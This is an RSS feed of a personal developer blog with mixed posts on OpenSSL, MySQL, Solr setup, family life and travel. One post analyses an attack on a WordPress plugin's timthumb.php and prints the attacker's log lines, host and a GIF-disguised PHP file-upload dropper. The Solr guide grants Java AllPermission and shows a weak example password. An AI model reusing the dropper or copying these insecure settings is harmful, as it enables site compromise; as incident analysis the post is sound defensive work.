<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>David Goodwin &#187; Uncategorized</title>
	<atom:link href="http://codepoets.co.uk/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://codepoets.co.uk</link>
	<description>PHP, running, family stuff, Bromsgrove and other bits</description>
	<lastBuildDate>Fri, 11 May 2012 09:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>SSL Commands</title>
		<link>http://codepoets.co.uk/2012/ssl-commands/</link>
		<comments>http://codepoets.co.uk/2012/ssl-commands/#comments</comments>
		<pubDate>Fri, 11 May 2012 09:43:39 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=578</guid>
		<description><![CDATA[I keep forgetting these one line OpenSSL commands &#8211; perhaps if they are here, I&#8217;ll remember &#8212; Create private key file : openssl genrsa -out server.key 2048 Create certificate signing request (to send to e.g. GoDaddy) &#8211; openssl req -new -key server.key -out server.csr  Verify a certificate &#8211; openssl verify file.name To convert a .crt &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2012/ssl-commands/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I keep forgetting these one line OpenSSL commands &#8211; perhaps if they are here, I&#8217;ll remember &#8212;</p>
<ol>
<li>Create private key file : <strong>openssl genrsa -out server.key 2048</strong></li>
<li>Create certificate signing request (to send to e.g. GoDaddy) &#8211; <strong>openssl req -new -key server.key -out server.csr </strong></li>
<li>Verify a certificate &#8211; <strong>openssl verify file.name</strong></li>
<li>To convert a .crt (base64 encoded) and .key file into a .pem file &#8211; just cat them together &#8211; <strong>cat something.crt something.key &gt; something.pem</strong></li>
</ol>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2012/ssl-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux console dimming / screen saver</title>
		<link>http://codepoets.co.uk/2012/linux-console-dimming-screen-saver/</link>
		<comments>http://codepoets.co.uk/2012/linux-console-dimming-screen-saver/#comments</comments>
		<pubDate>Fri, 27 Apr 2012 09:46:52 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=569</guid>
		<description><![CDATA[Our work server seems to enjoy crashing (at the moment) about once a day &#8211; but when I go to look at the console I can&#8217;t see anything because the screen has dimmed to black &#8211; and as the computer has locked up, I can&#8217;t wake the screen up to see if there is a &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2012/linux-console-dimming-screen-saver/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Our work server seems to enjoy crashing (at the moment) about once a day &#8211; but when I go to look at the console I can&#8217;t see anything because the screen has dimmed to black &#8211; and as the computer has locked up, I can&#8217;t wake the screen up to see if there is a useful kernel panic message.</p>
<p>It turns out my answer lies with /etc/console-tools/config &#8211; as this is Debian Squeeze.</p>
<p>See http://serverfault.com/questions/137728/how-do-i-permanently-disable-linuxs-console-screen-saver-system-wide </p>
<p>Next up, I just needed to stop it from dimming the console font &#8211;  adding this to /etc/rc.local seems to help :</p>
<p>setterm -half-bright off</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2012/linux-console-dimming-screen-saver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL table defragmentation (python script)</title>
		<link>http://codepoets.co.uk/2012/mysql-table-defragmentation-python-script/</link>
		<comments>http://codepoets.co.uk/2012/mysql-table-defragmentation-python-script/#comments</comments>
		<pubDate>Mon, 09 Apr 2012 11:31:49 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=548</guid>
		<description><![CDATA[I&#8217;ve written the below Python script to defragment MySQL database tables. This should work with both InnoDB and MyISAM table formats, and is just calling &#8220;OPTIMIZE TABLE blah.foo&#8221;. It rummages through the information_schema for tables which may be defragmented. You should be able to run it on any Debian based system without making any alterations. &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2012/mysql-table-defragmentation-python-script/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve written the below Python script to defragment MySQL database tables. This should work with both InnoDB and MyISAM table formats, and is just calling &#8220;OPTIMIZE TABLE blah.foo&#8221;. It rummages through the information_schema for tables which may be defragmented.</p>
<p>You should be able to run it on any Debian based system without making any alterations.</p>
<p>&nbsp;</p>
<pre class="brush:python">#!/usr/bin/env python
import ConfigParser
import os
import time

# On Debian, /etc/mysql/debian.cnf contains 'root' a like login and password.
config = ConfigParser.ConfigParser()
config.read("/etc/mysql/debian.cnf")
username = config.get('client', 'user')
password = config.get('client', 'password')
hostname = config.get('client', 'host')

defragmented_tables_cmd="mysql -u %s -p%s -h %s --skip-column-names --batch  -e 'SELECT TABLE_SCHEMA, TABLE_NAME, Data_free FROM information_schema.TABLES WHERE Data_free &gt; 1000'" % (username, password, hostname)

# This will explode if any databases or tables have spaces in their names.
for dbtable in os.popen(defragmented_tables_cmd).readlines():
    (database,table,space_free) = dbtable.split(None)
    print " Defragmenting database : %s, table: %s, space free: %s " % (database, table, space_free)
    os.popen("mysql --batch -u %s -p%s -h %s -e 'OPTIMIZE TABLE %s' " % (username, password, hostname, database + '.' + table))
</pre>
<p>Having written this, I don&#8217;t think it does any more than &#8220;mysqloptimize &#8211;all-databases&#8221;, althoug you could make the above run selectively (i.e. only on certain databases / table formats / disk free amounts ).</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2012/mysql-table-defragmentation-python-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chocolate headed pirates</title>
		<link>http://codepoets.co.uk/2012/chocolate-headed-pirates/</link>
		<comments>http://codepoets.co.uk/2012/chocolate-headed-pirates/#comments</comments>
		<pubDate>Thu, 29 Mar 2012 21:50:22 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=544</guid>
		<description><![CDATA[My son woke up at 6am crying quite loudly this morning &#8211; he&#8217;d been having a nightmare involving a Chocolate Headed Pirate being mean and nasty to him. Personally I think a chocolate headed pirate would be quite tasty &#8211; although perhaps it&#8217;d be a bit more than I could eat in one sitting (or &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2012/chocolate-headed-pirates/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>My son woke up at 6am crying quite loudly this morning &#8211; he&#8217;d been having a nightmare involving a Chocolate Headed Pirate being mean and nasty to him.</p>
<p>Personally I think a chocolate headed pirate would be quite tasty &#8211; although perhaps it&#8217;d be a bit more than I could eat in one sitting (or one week),  however, just like I don&#8217;t really understand his fear of Mr Choco Pirate, I&#8217;m sure there are many things I&#8217;m afraid of which he&#8217;d find funny.</p>
<p>Oh, the joys of childhood!</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2012/chocolate-headed-pirates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spring trip to Barcelona</title>
		<link>http://codepoets.co.uk/2012/random-jaunt-to-barcelona/</link>
		<comments>http://codepoets.co.uk/2012/random-jaunt-to-barcelona/#comments</comments>
		<pubDate>Tue, 13 Mar 2012 18:58:59 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=521</guid>
		<description><![CDATA[Well, sort of random. As I don&#8217;t normally bother to upload any pictures and so on, I thought I might as well for once &#8211; and I said I&#8217;d send my father a postcard, but then failed to &#8230;. perhaps this will make up for it. I didn&#8217;t notice any postcard selling shops either &#8211; perhaps &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2012/random-jaunt-to-barcelona/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Well, sort of random. As I don&#8217;t normally bother to upload any pictures and so on, I thought I might as well for once &#8211; and I said I&#8217;d send my father a postcard, but then failed to &#8230;. perhaps this will make up for it. I didn&#8217;t notice any postcard selling shops either &#8211; perhaps they&#8217;ve gone out of fashion?</p>
<p>Anyway, as I&#8217;m the boss, I left work at midday on Friday, drove up to Liverpool and flew to Barcelona with EasyJet. Thankfully I&#8217;m quite happy flying &#8211; but a minor bump triggered a load of men near me to exchange flying horror stories (&#8220;Once, over America, we hit some sort of air pocket and dropped 1000 feet!&#8221;). Anyway, I arrived in Barcelona at about 20:00 local time (I think flight time was about an hour and a half &#8211; apparently we had a 70mph tailwind, so were a bit early) and then fought through the cattle^h^h^hpassengers to get through security etc etc&#8230; train, tube, walk -&gt; arrive at Anna&#8217;s flat. Fall asleep.</p>
<p>On Saturday we went shopping &#8211; so it was a boring day in that respect. But in the evening we went to my favourite Japanese restaurant to eat sushi stuff (nom-nom-nom) &#8211; but as I failed to take my camera/phone with me, there&#8217;s no photo(s).</p>
<p>On Sunday &#8211; we&#8217;d went to <a title="Wikipedia page for Sitges" href="http://en.wikipedia.org/wiki/Sitges">Sitges</a> and walked into some sort of old-car rally &#8211; which was nice to see. Unfortunately this made the town quite busy, so we had to wait for ages for lunch (well, 3pm lunch).</p>
<p>Then we went back home, I did some DIY and the weekend was pretty much over.</p>

<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0604/' title='The local fire brigade'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0604-150x150.jpg" class="attachment-thumbnail" alt="The local fire brigade" title="The local fire brigade" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0646/' title='My favourite car'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0646-150x150.jpg" class="attachment-thumbnail" alt="My favourite car" title="My favourite car" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0674/' title='Me'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0674-150x150.jpg" class="attachment-thumbnail" alt="Me" title="Me" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0678/' title='Anna and me'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0678-150x150.jpg" class="attachment-thumbnail" alt="Anna and David" title="Anna and me" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0627/' title='A monster in the sand!'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0627-150x150.jpg" class="attachment-thumbnail" alt="A monster in the sand!" title="A monster in the sand!" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0684/' title='Some of the cars from above'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0684-150x150.jpg" class="attachment-thumbnail" alt="Some of the cars from above" title="Some of the cars from above" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0670/' title='Lunch venue'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0670-150x150.jpg" class="attachment-thumbnail" alt="Lunch venue - nom nom paella" title="Lunch venue" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0669/' title='The beach'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0669-150x150.jpg" class="attachment-thumbnail" alt="It was nice and warm" title="The beach" /></a>
<a href='http://codepoets.co.uk/2012/random-jaunt-to-barcelona/img_0625/' title='IMG_0625'><img width="150" height="150" src="http://codepoets.co.uk/wp-content/uploads/2012/03/IMG_0625-150x150.jpg" class="attachment-thumbnail" alt="Sandcastle" title="IMG_0625" /></a>

<p>Monday involved flying back (uneventful) and then a long drive home. Liverpool seemed very dull and dreary compared to Spain.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2012/random-jaunt-to-barcelona/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WTFs per minute</title>
		<link>http://codepoets.co.uk/2012/wtfs-per-minute/</link>
		<comments>http://codepoets.co.uk/2012/wtfs-per-minute/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 23:46:59 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=503</guid>
		<description><![CDATA[I&#8217;m currently refactoring some legacy third party PHP code, and as the old saying goes, the real metric is WTFs per minute. So, just to entertain any readers, how about : Writing pagination links for a search form, but if there are more than 20 pages of results, add 20 onto whatever the maximum number &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2012/wtfs-per-minute/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m currently refactoring some legacy third party PHP code, and as the old saying goes, the real metric is WTFs per minute.</p>
<p>So, just to entertain any readers, how about :</p>
<ol>
<li>Writing pagination links for a search form, but if there are more than 20 pages of results, add 20 onto whatever the maximum number of pages there are &#8211; so you get 20 invalid links at the end of the pagination list (clicking on them will show no results).<em> I guess it looks like there are lots of results at least.</em></li>
<li>if(isset($_GET['foo']) == 0) &#8230; (<em>wouldn&#8217;t if(!isset($_GET['foo']) be easier to read?</em>).</li>
<li>Presumably not knowing what a while(&#8230;) { &#8230; } loop is, and always using something like: $row = mysql_fetch_assoc($x); do { &#8230; } while ($row = mysql_fetch_assoc($x)) &#8230;.</li>
<li>Always including mysql_free_result($foo) after every query&#8230;. <em>why bother?</em></li>
<li>Always having an //END IF comment, even if the if(..) { } statement is only 3 lines long.</li>
<li>The write_out_the_header() function which consists of a <span style="text-decoration: underline;"><strong>switch statement nearly 2900 lines long</strong></span>, which is just responsible for setting things like the &lt;title&gt; and some meta tags for every page in the site.</li>
<li>When doing results pagination, for even numbered page links, write out the &#8216;jump&#8217; URL differently (starting with a &amp;, instead of a ?). <em>Some numbers are more even/equal than others&#8230;. I guess.</em></li>
<li>Executing a separate query each time within a loop rather than doing a simple join to start with&#8230;.</li>
</ol>
<div>And don&#8217;t get me started on the lack of error checking&#8230;..</div>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2012/wtfs-per-minute/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Solr and WordPress (instructions/howto)</title>
		<link>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/</link>
		<comments>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 13:11:47 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=462</guid>
		<description><![CDATA[This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see github ). Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream solr-for-wordpress wordpress plugin, hence we can&#8217;t use it). Install Tomcat (and Java) apt-get install sun-java6-jre &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see <a title="Solr for WordPress (palepurple fork)" href="https://github.com/palepurple/solr-for-wordpress">github</a> ).</p>
<p>Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream <a title="Solr for WordPress" href="http://wordpress.org/extend/plugins/solr-for-wordpress/">solr-for-wordpress</a> wordpress plugin, hence we can&#8217;t use it).</p>
<h2>Install Tomcat (and Java)</h2>
<pre>apt-get install sun-java6-jre</pre>
<p>Edit /etc/profile and set a JAVA_HOME &#8211; so add in something like :</p>
<pre># Setup Jave environment 6
export PATH=$PATH:/usr/lib/jvm/java-6-sun/bin
export JAVA_HOME=/usr/lib/jvm/java-6-sun
export JRE_HOME=/usr/lib/jvm/java-6-sun/jre</pre>
<p>And then do :</p>
<pre>. /etc/profile</pre>
<pre>So those settings are set / present within your environment (or logout and back in).</pre>
<p>Next, install Tomcat :</p>
<pre>apt-get install tomcat5.5</pre>
<pre>and then</pre>
<pre>apt-get install tomcat5.5-admin</pre>
<pre></pre>
<h3>Configure Tomcat</h3>
<p>Edit /etc/tomcat5.5/tomcat-users.xml and define your own user; for the -admin apps you&#8217;ll need to give the user a role of admin and manager.</p>
<p>e.g.</p>
<pre>&lt;?xml version='1.0' encoding='utf-8'?&gt;
&lt;tomcat-users&gt;
  &lt;role rolename="manager"/&gt;
  &lt;role rolename="tomcat"/&gt;
  &lt;role rolename="admin"/&gt;
  &lt;role rolename="role1"/&gt;
  &lt;user username="palepurple" password="letmein" roles="admin,manager,tomcat"/&gt;
&lt;/tomcat-users&gt;</pre>
<p>And then restart Tomcat. You should now be able to visit http://yourserver:8180/admin and see a login screen.</p>
<p>In my case, I also edited /etc/tomcat5.5/server.xml to disable the AJP connector on port 8009 and also to tell the remaining connector (port 8180) to listen only on 127.0.0.1. To connect to the admin interface, I just use SSH port forwarding from my desktop &#8211; this is just to improve security.</p>
<p>Finally, it seems necessary to <strong>grant permission for Java to log</strong> to /var/log/tomcat5.5&#8230; .a dirty way of achieving this is to edit :</p>
<pre>/etc/java-6-sun/security/java.policy</pre>
<p>and add in (near the top)</p>
<pre>grant {
	permission java.security.AllPermission;
};</pre>
<p>(Yes, I know this is a bit like doing chmod -R 777 on a filesystem or something; but in my case Solr is running only on localhost, so I think it&#8217;s an acceptable fix; I&#8217;m sure Google can provide more eloquent fixes.).</p>
<p>&nbsp;</p>
<h2>Installing Solr</h2>
<p>Download; unpack and install .war file :</p>
<pre>cd /root</pre>
<pre>wget http://www.apache.org/dist/lucene/solr/3.4.0/apache-solr-3.4.0.tgz</pre>
<pre>tar -zxf apache-solr-3.4.0.tgz</pre>
<pre>cp apache-solr-3.4.0/dist/apache-solr-3.4.0.war /var/lib/tomcat5.5/webapps</pre>
<p>If you now restart Solr, you&#8217;ll find some log files and stuff of use in /var/log/tomcat5.5 &#8211; looking in the catalina log file there you&#8217;ll see it moaning about not finding solrconfig.xml and so on. To fix this -</p>
<pre>cp -a apache-solr-3.4.0/example/solr /var/lib/tomcat5.5/</pre>
<p>And edit <strong>/etc/default/tomcat55</strong> to contain :</p>
<pre>export JAVA_OPTS="$JAVA_OPTS -Dsolr.solr.home=/var/lib/tomcat5.5/solr"</pre>
<p>This tells Solr where to find it&#8217;s configuration and so on.</p>
<p>Then edit :</p>
<p>/var/lib/tomcat5.5/solr/conf/solrconfig.xml and fix the file paths to the various .jar files included &#8211; so in my case (you might want to copy them out of the apache-solr-3.4.0 dir and into /var/lib/tomcat5.5/solr/lib perhaps) &#8211; part of the solrconfig.xml is below :</p>
<pre>  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/extraction/lib" /&gt;
  &lt;!-- When a regex is specified in addition to a directory, only the
       files in that directory which completely match the regex
       (anchored on both ends) will be included.
    --&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-cell-\d.*\.jar" /&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-clustering-\d.*\.jar" /&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-dataimporthandler-\d.*\.jar" /&gt;

  &lt;!-- If a dir option (with or without a regex) is used and nothing
       is found that matches, it will be ignored
    --&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/clustering/lib/" /&gt;</pre>
<p>Next create the data directory for solr to use :</p>
<pre>mkdir /var/lib/tomcat5.5/solr/data</pre>
<pre>chown tomcat55 /var/lib/tomcat5.5/solr/data</pre>
<p>And restart tomcat.</p>
<p>At this point you should be able to visit :</p>
<p>http://localhost:8180/apache-solr-3.4.0/admin/</p>
<p>If it fails, check out /var/log/tomcat5.5/*catalina.log* or /var/log/daemon.log</p>
<h2>WordPress stuff</h2>
<p>cd /path/to/wordpress/wp-content/plugins</p>
<p>git clone https://github.com/mattweber/solr-for-wordpress.git</p>
<p>cp solr-for-wordpress/schema.xml /var/lib/tomcat5.5/solr/conf/</p>
<p>&lt;&lt;restart tomcat again; /etc/init.d/tomcat5.5. restart &gt;&gt;</p>
<p>Now you just need to enable the plugin from within wordpress and tell wordpress to index your posts and you&#8217;re off.</p>
<ol>
<li> Enable plugin</li>
<li>Goto settings -&gt; solr options -&gt; select single server; tell it to use localhost, port 8180 and under the path &#8216;/apache-solr-3.4.0&#8242;</li>
<li> Perform the &#8216;server ping&#8217; check; and then tell WordPress you want to index your pages/posts etc as you see fit.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>wp-mobile-detector is insecure (wordpress plugin)</title>
		<link>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/</link>
		<comments>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/#comments</comments>
		<pubDate>Tue, 30 Aug 2011 14:37:33 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=451</guid>
		<description><![CDATA[It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm} A customer&#8217;s web server has the following requests in it : [24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" [24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm}</p>
<p>A customer&#8217;s web server has the following requests in it :</p>
<pre>[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"</pre>
<p>_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.</p>
<p>Making a request to superflickr.com.nu shows  :</p>
<pre>$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;&lt;?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?&gt;;</pre>
<p>Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :</p>
<pre>$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);</pre>
<p>But it&#8217;s check is somewhat flawed -</p>
<pre>
foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}</pre>
<p>Hence, superflickr.com.nu escapes through, as it contains the string &#8216;flickr.com&#8217;.</p>
<p>And then, because it performs an &#8216;md5&#8242; of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the &#8216;cache&#8217; directory would have solved this.</p>
<p>Alternatively the developers could have bothered to check the extension of the URL being retrieved&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Slim Framework &#8211; using middleware for page caching in the front controller</title>
		<link>http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/</link>
		<comments>http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/#comments</comments>
		<pubDate>Thu, 21 Jul 2011 08:34:36 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=444</guid>
		<description><![CDATA[The SlimFramework is a &#8216;minimal&#8217; PHP5 framework. We&#8217;re using it in one project, integrating with Smarty, Propel and the Zend Framework (as I don&#8217;t like Zend_View, it didn&#8217;t seem worth using Zend_Controller_Action, although what we do have is very similar to one). Anyway, when creating your front controller in Slim, you can define &#8216;middleware&#8216; (i.e. &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The <a title="Slim Framework Website" href="http://www.slimframework.com">SlimFramework</a> is a &#8216;minimal&#8217; PHP5 framework. We&#8217;re using it in one project, integrating with <a title="Smarty" href="http://smarty.net">Smarty</a>, <a title="Propel ORM" href="http://propelorm.org">Propel</a> and the<a title="Zend Framework" href="http://framework.zend.com"> Zend Framework</a> (as I don&#8217;t like Zend_View, it didn&#8217;t seem worth using Zend_Controller_Action, although what we do have is very similar to one).</p>
<p>Anyway, when creating your front controller in Slim, you can define &#8216;<a title="Slim Framework - Middleware - Docs" href="https://github.com/codeguy/Slim/wiki/Slim-Framework-Documentation#slim-route-middleware">middleware</a>&#8216; (i.e. call back functions) which are executed when a route matches and runs &#8211; before your actual &#8216;controller&#8217; code.</p>
<p>So for example, a simple route would look like :</p>
<pre>Slim::get('/route/path/to/match', function() { echo "some output goes here"; }; );</pre>
<p>With additional &#8216;middleware&#8217; it could look like :</p>
<pre>Slim::get('/routeh/path/to/match', $caching_middleware, $authentication_check, function() { echo "some output goes here";}; );</pre>
<p>(Obviously in a real application you wouldn&#8217;t have echo statements in the front controller class)</p>
<p>The $caching_middleware could look like :</p>
<pre>$cache_it = function () {
    $cache = Zend_Cache::factory('Page', 'File',
        array('debug_header' =&gt; true,
              'default_options' =&gt; array('cache' =&gt; true,
                                         'cache_with_get_parameters' =&gt; false,
                                         'cache_with_session_variables' =&gt; true,
                                         'cache_with_cookie_variables' =&gt; true),
        ));
    $cache-&gt;start();
};</pre>
<p>(I&#8217;ve left the debug_header in, so it&#8217;s obvious when it&#8217;s working <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ).</p>
<p>And $authentication_check is another call back &#8211; this time presumably checking $_SESSION for something&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ebuyer &amp; ParcelForce &#8211; a story in how not to treat your customer</title>
		<link>http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/</link>
		<comments>http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 09:49:33 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=440</guid>
